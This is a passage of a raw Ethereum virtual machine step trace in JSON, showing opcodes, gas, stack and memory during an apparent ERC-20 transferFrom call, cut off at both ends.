a84c842116bf4","0x1","0x27e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":10212,"op":"JUMPDEST","gas":93411,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":10213,"op":"POP","gas":93410,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":10214,"op":"JUMP","gas":93408,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3001"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12289,"op":"JUMPDEST","gas":93400,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12290,"op":"SWAP3","gas":93399,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12291,"op":"SWAP6","gas":93396,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x3d6","0x64","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12292,"op":"SWAP3","gas":93393,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x64","0x4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0","0x0","0x3d6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12293,"op":"SWAP5","gas":93390,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x64","0x4","0x3d6","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12294,"op":"POP","gas":93387,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4","0x3d6","0x0","0x0","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12295,"op":"POP","gas":93385,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4","0x3d6","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12296,"op":"POP","gas":93383,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4","0x3d6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12297,"op":"PUSH1","gas":93381,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4","0x3d6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12299,"op":"SWAP2","gas":93378,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4","0x3d6","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12300,"op":"SWAP1","gas":93375,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x40","0x3d6","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12301,"op":"SWAP2","gas":93372,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x40","0x4","0x3d6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12302,"op":"ADD","gas":93369,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3d6","0x4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12303,"op":"CALLDATALOAD","gas":93366,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3d6","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12304,"op":"SWAP1","gas":93363,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x3d6","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12305,"op":"JUMP","gas":93360,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x3d6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":982,"op":"JUMPDEST","gas":93352,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":983,"op":"PUSH2","gas":93351,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":986,"op":"JUMP","gas":93348,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xc6d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3181,"op":"JUMPDEST","gas":93340,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3182,"op":"PUSH1","gas":93339,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3184,"op":"CALLER","gas":93336,"gasCost":2,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3185,"op":"PUSH2","gas":93334,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3188,"op":"DUP6","gas":93331,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3189,"op":"DUP3","gas":93328,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3190,"op":"DUP6","gas":93325,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3191,"op":"PUSH2","gas":93322,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":3194,"op":"JUMP","gas":93319,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x1c33"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7219,"op":"JUMPDEST","gas":93311,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7220,"op":"PUSH1","gas":93310,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7222,"op":"PUSH1","gas":93307,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7224,"op":"PUSH1","gas":93304,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7226,"op":"SHL","gas":93301,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7227,"op":"SUB","gas":93298,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7228,"op":"DUP4","gas":93295,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7229,"op":"DUP2","gas":93292,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7230,"op":"AND","gas":93289,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7231,"op":"PUSH1","gas":93286,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7233,"op":"SWAP1","gas":93283,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7234,"op":"DUP2","gas":93280,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7235,"op":"MSTORE","gas":93277,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7236,"op":"PUSH1","gas":93274,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7238,"op":"PUSH1","gas":93271,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x1"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7240,"op":"SWAP1","gas":93268,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x1","0x20"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7241,"op":"DUP2","gas":93265,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x20","0x1"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7242,"op":"MSTORE","gas":93262,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x20","0x1","0x20"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7243,"op":"PUSH1","gas":93259,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x20"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7245,"op":"DUP1","gas":93256,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x20","0x40"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7246,"op":"DUP4","gas":93253,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x20","0x40","0x40"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7247,"op":"KECCAK256","gas":93250,"gasCost":42,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc7b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x20","0x40","0x40","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000001","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7248,"op":"SWAP4","gas":93208,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0x